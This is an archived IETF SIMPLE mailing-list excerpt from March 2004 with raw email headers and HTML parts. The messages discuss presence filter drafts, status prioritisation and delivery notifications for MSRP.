	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400E4.A4C74201
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

=20

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of =
ext Rajesh Karunamurthy
Sent: 03.March.2004 04:44
To: simple@ietf.org
Subject: [Simple] Comment and Question on =
draft-ietf-simple-filter-format-00


Hi,
=20
I have one comment and one Question about this draft
=20
Comment: In Section  6.6, when filtering the Presence Information of =
sip:bob@domain.com an include element is used. The closing tag for this =
<include> element is given as </exclude> element, which is supposed to =
be </include>.=20
=20
Yes, you are right. Actually it was spotted already.=20
=20
Question: In section 6.5, the <filter> element does not have the uri =
attribute, does it mean that the Subscribe request will be addressed for =
a group of friends( For E.g.: SUBSCRIBE sip:friends@game.com)?=20
=20
Yes.
=20
Thanks for the review.
Hisham=20
=20
Thanks.
Rajesh
=20



  _____ =20

Do you Yahoo!?
Yahoo! Search - Find what you're looking  =
<http://search.yahoo.com/?fr=3Dad-mailsig-home> for faster.


------_=_NextPart_001_01C400E4.A4C74201
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
simple-admin@ietf.org=20
  [mailto:simple-admin@ietf.org]<B>On Behalf Of </B>ext Rajesh=20
  Karunamurthy<BR><B>Sent:</B> 03.March.2004 04:44<BR><B>To:</B>=20
  simple@ietf.org<BR><B>Subject:</B> [Simple] Comment and Question on=20
  draft-ietf-simple-filter-format-00<BR><BR></FONT></DIV>
  <DIV>Hi,</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>I have one comment and one Question about this draft</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Comment: In =
Section&nbsp;&nbsp;6.6,&nbsp;when&nbsp;filtering&nbsp;the=20
  Presence Information of sip:bob@domain.com&nbsp;an include element is =
used.=20
  The closing tag&nbsp;for this &lt;include&gt; element is given as=20
  &lt;/exclude&gt; element, which is supposed to be =
&lt;/include&gt;.<SPAN=20
  class=3D489215505-03032004><FONT face=3DArial color=3D#0000ff=20
  size=3D2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>Yes,=20
  you are right. Actually it was spotted =
already.</FONT>&nbsp;</SPAN></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Question: In section 6.5, the &lt;filter&gt; element does not =
have the=20
  uri attribute, does it mean that the Subscribe request will be =
addressed=20
  for&nbsp;a group of&nbsp;friends(&nbsp;For E.g.: SUBSCRIBE=20
  sip:friends@game.com)?<SPAN class=3D489215505-03032004><FONT =
face=3DArial=20
  color=3D#0000ff size=3D2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Yes.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Thanks for the review.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Hisham</FONT>&nbsp;</SPAN></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Thanks.</DIV>
  <DIV>Rajesh</DIV>
  <DIV>&nbsp;</DIV>
  <P>
  <HR SIZE=3D1>
  Do you Yahoo!?<BR>Yahoo! Search - <A=20
  href=3D"http://search.yahoo.com/?fr=3Dad-mailsig-home">Find what =
you're looking=20
  for faster.</A></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400E4.A4C74201--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 01:06:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05089
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 01:06:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPWB-0004Bt-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:06:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPVC-00040k-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:05:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPUF-0003pA-00; Wed, 03 Mar 2004 01:04:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPU9-0004DR-KW; Wed, 03 Mar 2004 01:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPTN-0004CF-I7
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:03:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04828
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:03:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPTK-0003eF-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:03:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPST-0003Sn-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:02:19 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRR-00033v-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:01:13 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i2360ba25894;
	Wed, 3 Mar 2004 00:00:37 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PVPK>; Wed, 3 Mar 2004 00:00:38 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECE@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E4.CE4F3A3E"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 00:00:35 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400E4.CE4F3A3E
Content-Type: text/plain;
	charset="iso-8859-1"

I don't see this as being "could be useful". I know of many people that
regularly
 double-book meetings for instance, where one is clearly less important than
the other. If given a list of possible statuses, does it not make sense that
IF the user or some other process knows that one status is very likely less
important (or correct) than another, there be a way to signify this. Even if
all of the statuses are displayed, it's somewhat sterile information, and
we're saying the only way to know which one is likely more important (or
even what order in which they should be considered) has to be in the text of
the status somewhere, where machines can't get at it.

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:55 PM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


Brian Stucker wrote:

> I'm thinking about the case where you have a limited display 
> form-factor, where you can't easily display both. Is this really adding 
> that much complexity? I'm not suggesting that it MUST or even SHOULD be 
> used, but MAY be used.

I just see no realistic way to add this in most cases. Unless this is 
available in all contexts, the UI has to be able to deal with the case 
where it isn't there.

I'd really like to avoid adding "could be useful" features.

------_=_NextPart_001_01C400E4.CE4F3A3E
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I don't see this as being &quot;could be =
useful&quot;. I know of many people that regularly</FONT>
<BR><FONT SIZE=3D2>&nbsp;double-book meetings for instance, where one =
is clearly less important than the other. If given a list of possible =
statuses, does it not make sense that IF the user or some other process =
knows that one status is very likely less important (or correct) than =
another, there be a way to signify this. Even if all of the statuses =
are displayed, it's somewhat sterile information, and we're saying the =
only way to know which one is likely more important (or even what order =
in which they should be considered) has to be in the text of the status =
somewhere, where machines can't get at it.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:55 PM</FONT>
<BR><FONT SIZE=3D2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=3D2>Cc: Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I'm thinking about the case where you have a =
limited display </FONT>
<BR><FONT SIZE=3D2>&gt; form-factor, where you can't easily display =
both. Is this really adding </FONT>
<BR><FONT SIZE=3D2>&gt; that much complexity? I'm not suggesting that =
it MUST or even SHOULD be </FONT>
<BR><FONT SIZE=3D2>&gt; used, but MAY be used.</FONT>
</P>

<P><FONT SIZE=3D2>I just see no realistic way to add this in most =
cases. Unless this is </FONT>
<BR><FONT SIZE=3D2>available in all contexts, the UI has to be able to =
deal with the case </FONT>
<BR><FONT SIZE=3D2>where it isn't there.</FONT>
</P>

<P><FONT SIZE=3D2>I'd really like to avoid adding &quot;could be =
useful&quot; features.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400E4.CE4F3A3E--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 01:06:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05175
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 01:06:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPWG-0004Xt-RO
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 01:06:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2366CcK017467
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 01:06:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPWG-0004Xe-O2
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 01:06:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05107
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 01:06:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPWD-0004CN-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:06:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPVD-00040v-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:05:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPUF-0003pA-00; Wed, 03 Mar 2004 01:04:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPU9-0004DR-KW; Wed, 03 Mar 2004 01:04:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPTN-0004CF-I7
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:03:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04828
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:03:12 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPTK-0003eF-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:03:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPST-0003Sn-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:02:19 -0500
Received: from zrc2s0jx.nortelnetworks.com ([47.103.122.112])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRR-00033v-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:01:13 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zrc2s0jx.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i2360ba25894;
	Wed, 3 Mar 2004 00:00:37 -0600 (CST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PVPK>; Wed, 3 Mar 2004 00:00:38 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECE@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E4.CE4F3A3E"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 00:00:35 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400E4.CE4F3A3E
Content-Type: text/plain;
	charset="iso-8859-1"

I don't see this as being "could be useful". I know of many people that
regularly
 double-book meetings for instance, where one is clearly less important than
the other. If given a list of possible statuses, does it not make sense that
IF the user or some other process knows that one status is very likely less
important (or correct) than another, there be a way to signify this. Even if
all of the statuses are displayed, it's somewhat sterile information, and
we're saying the only way to know which one is likely more important (or
even what order in which they should be considered) has to be in the text of
the status somewhere, where machines can't get at it.

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:55 PM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


Brian Stucker wrote:

> I'm thinking about the case where you have a limited display 
> form-factor, where you can't easily display both. Is this really adding 
> that much complexity? I'm not suggesting that it MUST or even SHOULD be 
> used, but MAY be used.

I just see no realistic way to add this in most cases. Unless this is 
available in all contexts, the UI has to be able to deal with the case 
where it isn't there.

I'd really like to avoid adding "could be useful" features.

------_=_NextPart_001_01C400E4.CE4F3A3E
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I don't see this as being &quot;could be =
useful&quot;. I know of many people that regularly</FONT>
<BR><FONT SIZE=3D2>&nbsp;double-book meetings for instance, where one =
is clearly less important than the other. If given a list of possible =
statuses, does it not make sense that IF the user or some other process =
knows that one status is very likely less important (or correct) than =
another, there be a way to signify this. Even if all of the statuses =
are displayed, it's somewhat sterile information, and we're saying the =
only way to know which one is likely more important (or even what order =
in which they should be considered) has to be in the text of the status =
somewhere, where machines can't get at it.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:55 PM</FONT>
<BR><FONT SIZE=3D2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=3D2>Cc: Simple WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I'm thinking about the case where you have a =
limited display </FONT>
<BR><FONT SIZE=3D2>&gt; form-factor, where you can't easily display =
both. Is this really adding </FONT>
<BR><FONT SIZE=3D2>&gt; that much complexity? I'm not suggesting that =
it MUST or even SHOULD be </FONT>
<BR><FONT SIZE=3D2>&gt; used, but MAY be used.</FONT>
</P>

<P><FONT SIZE=3D2>I just see no realistic way to add this in most =
cases. Unless this is </FONT>
<BR><FONT SIZE=3D2>available in all contexts, the UI has to be able to =
deal with the case </FONT>
<BR><FONT SIZE=3D2>where it isn't there.</FONT>
</P>

<P><FONT SIZE=3D2>I'd really like to avoid adding &quot;could be =
useful&quot; features.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400E4.CE4F3A3E--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 02:05:27 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13435
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 02:05:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQRa-0004zh-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:05:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQQU-0004lc-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:04:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQPT-0004a1-00; Wed, 03 Mar 2004 02:03:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQPH-0006mg-My; Wed, 03 Mar 2004 02:03:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQOZ-0006PC-JA
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:02:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09903
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:02:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQOW-0004PY-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:02:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQNf-0004Gj-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:01:23 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQMs-00042G-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:00:34 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 02 Mar 2004 23:12:24 +0000
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i23703iQ017766;
	Tue, 2 Mar 2004 23:00:03 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQV46372;
	Tue, 2 Mar 2004 23:00:01 -0800 (PST)
In-Reply-To: <404542A7.4000001@nokia.com>
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404542A7.4000001@nokia.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <819598C9-6CE0-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: simple@ietf.org, Rohan Mahy <rohan@cisco.com>
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 16:00:50 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi,

I was trying to gather reqs for MSRP.  I don't think it is appropriate 
to offer a full range of services for page-mode.

Because relays can chunk and acknowledge SEND requests hop by hop, it 
is useful to get positive acknowledgments that you wouldn't have 
otherwise.  For the human typing text to a human I agree you probably 
don't need e2e message delivery notification, but part of my point was 
that there are several different applications.

thanks,
-rohan


On Mar 3, 2004, at 11:27 AM, Niemi Aki (Nokia-M/Espoo) wrote:

> Hi Rohan,
>
> I'm a little confused whether we're talking about MSRP or page-mode, or
> both here.
>
> I definitely agree that there is a need to get both bounces back to the
> client (e.g. when the MESSAGE receives a 202 and is stored but later
> delivery fails, or when using a message list server, where some
> recipients return a non 2xx response); and also read-reports for when 
> an
> IM was actually rendered to a user and thus read.
>
> I think these features are tremendously useful for page mode, but I'm
> not sure they're all that useful for MSRP, which is already an
> interactive form of communication. I.e., if I don't get my message
> across, I can send it again - this time in block letters...
> Cheers,
> Aki
>
> ext Rohan Mahy wrote:
>> Hi,
>> I wanted to record an observation about how optional return receipt
>> and delivery status notification should be for MSRP. This was
>> inspired by Eric Burger's comments at the mic about how positive and
>> negative acknowledgments have a different character.
>> Positive Acknowledgments: I may want to know about partial message
>> delivery so I can interrupt and resume-in-place when transferring a
>> large IM attachment (walk into the elevator example).
>> I may want to know just that a complete message was delivered
>> I may want to know that a complete message is queued/stored for user
>> pickup
>> I may want to know that a complete message was displayed to the
>> target end user
>> I may want to receive no messages at all about e2e delivery status
>> Negative Acknowledgements I may want to know that a message was not
>> delivered due to a relay error and why
>> I may want to know that a message was not delivered because of a UA 
>> error (and why)
>> I may not care if messages don't get delivered e2e (expecting just
>> best effort)
>> We should figure out a way to indicate which of these you want.  The
>>  mail folks have dealt with very, very similar problems.
>> Homework assignment for the working group: read and understand the 
>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>> Receipts/Message Disposition Notifications (RFC 2298)
>> thanks, -rohan
>> _______________________________________________ Simple mailing list 
>> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 02:06:00 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14013
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 02:06:00 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQRf-0007v2-Dw
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 02:05:31 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2375V83030430
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 02:05:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQRf-0007ug-4t
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 02:05:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13446
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 02:05:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQRb-0004zo-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:05:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQQV-0004lk-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:04:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQPT-0004a1-00; Wed, 03 Mar 2004 02:03:15 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQPH-0006mg-My; Wed, 03 Mar 2004 02:03:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQOZ-0006PC-JA
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:02:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09903
